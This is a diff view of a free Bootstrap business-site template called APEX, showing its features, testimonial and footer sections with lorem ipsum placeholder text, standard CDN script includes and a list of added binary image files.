||||
|
||||
<!-- Features Start -->
|
||||
<div class="container-xxl py-5">
|
||||
<div class="container">
|
||||
<div class="row g-5">
|
||||
<div class="col-lg-6 wow fadeInUp" data-wow-delay="0.1s">
|
||||
<div class="border-start border-5 border-primary ps-4 mb-5">
|
||||
<h6 class="text-body text-uppercase mb-2">Why Choose Us!</h6>
|
||||
<h1 class="display-6 mb-0">
|
||||
Our Specialization And Company Features
|
||||
</h1>
|
||||
</div>
|
||||
<p class="mb-5">
|
||||
Tempor erat elitr rebum at clita. Diam dolor diam ipsum sit. Aliqu
|
||||
diam amet diam et eos. Clita erat ipsum et lorem et sit, sed stet
|
||||
lorem sit clita duo justo magna dolore erat amet
|
||||
</p>
|
||||
<div class="row gy-5 gx-4">
|
||||
<div class="col-sm-6 wow fadeIn" data-wow-delay="0.1s">
|
||||
<div class="d-flex align-items-center mb-3">
|
||||
<i
|
||||
class="fa fa-check fa-2x text-primary flex-shrink-0 me-3"
|
||||
></i>
|
||||
<h6 class="mb-0">Large number of services provided</h6>
|
||||
</div>
|
||||
<span
|
||||
>Magna sea eos sit dolor, ipsum amet ipsum lorem diam</span
|
||||
>
|
||||
</div>
|
||||
<div class="col-sm-6 wow fadeIn" data-wow-delay="0.2s">
|
||||
<div class="d-flex align-items-center mb-3">
|
||||
<i
|
||||
class="fa fa-check fa-2x text-primary flex-shrink-0 me-3"
|
||||
></i>
|
||||
<h6 class="mb-0">25+ years of professional experience</h6>
|
||||
</div>
|
||||
<span
|
||||
>Magna sea eos sit dolor, ipsum amet ipsum lorem diam</span
|
||||
>
|
||||
</div>
|
||||
<div class="col-sm-6 wow fadeIn" data-wow-delay="0.3s">
|
||||
<div class="d-flex align-items-center mb-3">
|
||||
<i
|
||||
class="fa fa-check fa-2x text-primary flex-shrink-0 me-3"
|
||||
></i>
|
||||
<h6 class="mb-0">A large number of grateful customers</h6>
|
||||
</div>
|
||||
<span
|
||||
>Magna sea eos sit dolor, ipsum amet ipsum lorem diam</span
|
||||
>
|
||||
</div>
|
||||
<div class="col-sm-6 wow fadeIn" data-wow-delay="0.4s">
|
||||
<div class="d-flex align-items-center mb-3">
|
||||
<i
|
||||
class="fa fa-check fa-2x text-primary flex-shrink-0 me-3"
|
||||
></i>
|
||||
<h6 class="mb-0">Always reliable and affordable prices</h6>
|
||||
</div>
|
||||
<span
|
||||
>Magna sea eos sit dolor, ipsum amet ipsum lorem diam</span
|
||||
>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="col-lg-6 wow fadeInUp" data-wow-delay="0.5s">
|
||||
<div
|
||||
class="position-relative overflow-hidden ps-5 pt-5 h-100"
|
||||
style="min-height: 400px"
|
||||
>
|
||||
<img
|
||||
class="position-absolute w-100 h-100"
|
||||
src="img/feature.jpg"
|
||||
alt=""
|
||||
style="object-fit: cover"
|
||||
/>
|
||||
<div
|
||||
class="position-absolute top-0 start-0 bg-white pe-3 pb-3"
|
||||
style="width: 200px; height: 200px"
|
||||
>
|
||||
<div
|
||||
class="d-flex flex-column justify-content-center text-center bg-primary h-100 p-3"
|
||||
>
|
||||
<h1 class="text-white">25</h1>
|
||||
<h2 class="text-white">Years</h2>
|
||||
<h5 class="text-white mb-0">Experience</h5>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- Features End -->
|
||||
|
||||
<!-- Testimonial Start -->
|
||||
<div class="container-xxl py-5">
|
||||
<div class="container">
|
||||
<div class="row g-5">
|
||||
<div class="col-lg-5 wow fadeInUp" data-wow-delay="0.1s">
|
||||
<div class="border-start border-5 border-primary ps-4 mb-5">
|
||||
<h6 class="text-body text-uppercase mb-2">Testimonial</h6>
|
||||
<h1 class="display-6 mb-0">What Our Happy Clients Say!</h1>
|
||||
</div>
|
||||
<p class="mb-4">
|
||||
Diam dolor diam ipsum sit. Aliqu diam amet diam et eos. Clita erat
|
||||
ipsum et lorem et sit, sed stet lorem sit clita duo justo magna
|
||||
dolore erat amet
|
||||
</p>
|
||||
<div class="row g-4">
|
||||
<div class="col-sm-6">
|
||||
<div class="d-flex align-items-center mb-2">
|
||||
<i class="fa fa-users fa-2x text-primary flex-shrink-0"></i>
|
||||
<h1 class="ms-3 mb-0">123+</h1>
|
||||
</div>
|
||||
<h5 class="mb-0">Happy Clients</h5>
|
||||
</div>
|
||||
<div class="col-sm-6">
|
||||
<div class="d-flex align-items-center mb-2">
|
||||
<i class="fa fa-check fa-2x text-primary flex-shrink-0"></i>
|
||||
<h1 class="ms-3 mb-0">123+</h1>
|
||||
</div>
|
||||
<h5 class="mb-0">Projects Done</h5>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="col-lg-7 wow fadeInUp" data-wow-delay="0.5s">
|
||||
<div class="owl-carousel testimonial-carousel">
|
||||
<div class="testimonial-item">
|
||||
<img
|
||||
class="img-fluid mb-4"
|
||||
src="img/testimonial-1.jpg"
|
||||
alt=""
|
||||
/>
|
||||
<p class="fs-5">
|
||||
Dolores sed duo clita tempor justo dolor et stet lorem kasd
|
||||
labore dolore lorem ipsum. At lorem lorem magna ut et, nonumy
|
||||
et labore et tempor diam tempor erat.
|
||||
</p>
|
||||
<div
|
||||
class="bg-primary mb-3"
|
||||
style="width: 60px; height: 5px"
|
||||
></div>
|
||||
<h5>Client Name</h5>
|
||||
<span>Profession</span>
|
||||
</div>
|
||||
<div class="testimonial-item">
|
||||
<img
|
||||
class="img-fluid mb-4"
|
||||
src="img/testimonial-2.jpg"
|
||||
alt=""
|
||||
/>
|
||||
<p class="fs-5">
|
||||
Dolores sed duo clita tempor justo dolor et stet lorem kasd
|
||||
labore dolore lorem ipsum. At lorem lorem magna ut et, nonumy
|
||||
et labore et tempor diam tempor erat.
|
||||
</p>
|
||||
<div
|
||||
class="bg-primary mb-3"
|
||||
style="width: 60px; height: 5px"
|
||||
></div>
|
||||
<h5>Client Name</h5>
|
||||
<span>Profession</span>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- Testimonial End -->
|
||||
|
||||
<!-- Footer Start -->
|
||||
<div
|
||||
class="container-fluid bg-dark footer mt-5 pt-5 wow fadeIn"
|
||||
data-wow-delay="0.1s"
|
||||
>
|
||||
<div class="container py-5">
|
||||
<div class="row g-5">
|
||||
<div class="col-lg-3 col-md-6">
|
||||
<h1 class="text-white mb-4">
|
||||
<i class="fa fa-building text-primary me-3"></i>APEX
|
||||
</h1>
|
||||
<p>
|
||||
Diam dolor diam ipsum sit. Aliqu diam amet diam et eos. Clita erat
|
||||
ipsum et lorem et sit, sed stet lorem sit clita
|
||||
</p>
|
||||
<div class="d-flex pt-2">
|
||||
<a class="btn btn-square btn-outline-primary me-1" href=""
|
||||
><i class="fab fa-twitter"></i
|
||||
></a>
|
||||
<a class="btn btn-square btn-outline-primary me-1" href=""
|
||||
><i class="fab fa-facebook-f"></i
|
||||
></a>
|
||||
<a class="btn btn-square btn-outline-primary me-1" href=""
|
||||
><i class="fab fa-youtube"></i
|
||||
></a>
|
||||
<a class="btn btn-square btn-outline-primary me-0" href=""
|
||||
><i class="fab fa-linkedin-in"></i
|
||||
></a>
|
||||
</div>
|
||||
</div>
|
||||
<div class="col-lg-3 col-md-6">
|
||||
<h4 class="text-light mb-4">Address</h4>
|
||||
<p>
|
||||
<i class="fa fa-map-marker-alt me-3"></i>123 Street, New York, USA
|
||||
</p>
|
||||
<p><i class="fa fa-phone-alt me-3"></i>+012 345 67890</p>
|
||||
<p><i class="fa fa-envelope me-3"></i>info@example.com</p>
|
||||
</div>
|
||||
<div class="col-lg-3 col-md-6">
|
||||
<h4 class="text-light mb-4">Quick Links</h4>
|
||||
<a class="btn btn-link" href="">About Us</a>
|
||||
<a class="btn btn-link" href="">Contact Us</a>
|
||||
<a class="btn btn-link" href="">Our Services</a>
|
||||
<a class="btn btn-link" href="">Terms & Condition</a>
|
||||
<a class="btn btn-link" href="">Support</a>
|
||||
</div>
|
||||
<div class="col-lg-3 col-md-6">
|
||||
<h4 class="text-light mb-4">Newsletter</h4>
|
||||
<p>Dolor amet sit justo amet elitr clita ipsum elitr est.</p>
|
||||
<div class="position-relative mx-auto" style="max-width: 400px">
|
||||
<input
|
||||
class="form-control bg-transparent w-100 py-3 ps-4 pe-5"
|
||||
type="text"
|
||||
placeholder="Your email"
|
||||
/>
|
||||
<button
|
||||
type="button"
|
||||
class="btn btn-primary py-2 position-absolute top-0 end-0 mt-2 me-2"
|
||||
>
|
||||
SignUp
|
||||
</button>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="container-fluid copyright">
|
||||
<div class="container">
|
||||
<div class="row">
|
||||
<div class="col-md-6 text-center text-md-start mb-3 mb-md-0">
|
||||
© <a href="#">Your Site Name</a>, All Right Reserved.
|
||||
</div>
|
||||
<div class="col-md-6 text-center text-md-end">
|
||||
<!--/*** This template is free as long as you keep the footer author’s credit link/attribution link/backlink. If you'd like to use the template without the footer author’s credit link/attribution link/backlink, you can purchase the Credit Removal License from "https://htmlcodex.com/credit-removal". Thank you for your support. ***/-->
|
||||
Designed By <a href="https://htmlcodex.com">HTML Codex</a>
|
||||
<br />Distributed By:
|
||||
<a href="https://themewagon.com" target="_blank">ThemeWagon</a>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- Footer End -->
|
||||
|
||||
<!-- Back to Top -->
|
||||
<a href="#" class="btn btn-lg btn-primary btn-lg-square back-to-top"
|
||||
><i class="bi bi-arrow-up"></i
|
||||
></a>
|
||||
|
||||
<!-- JavaScript Libraries -->
|
||||
<script src="https://code.jquery.com/jquery-3.4.1.min.js"></script>
|
||||
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.0.0/dist/js/bootstrap.bundle.min.js"></script>
|
||||
<script src="lib/wow/wow.min.js"></script>
|
||||
<script src="lib/easing/easing.min.js"></script>
|
||||
<script src="lib/waypoints/waypoints.min.js"></script>
|
||||
<script src="lib/owlcarousel/owl.carousel.min.js"></script>
|
||||
|
||||
<!-- Template Javascript -->
|
||||
<script src="js/main.js"></script>
|
||||
</body>
|
||||
</html>
|
||||
Binary file not shown.
|
After Width: | Height: | Size: 107 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 35 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 110 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 85 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 16 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 22 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 16 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 15 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 36 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 38 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 41 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 24 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 20 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 13 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 42 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 27 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 40 KiB |
Binary file not shown.
|
After Width: | Height: | Size: 31 KiB |
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user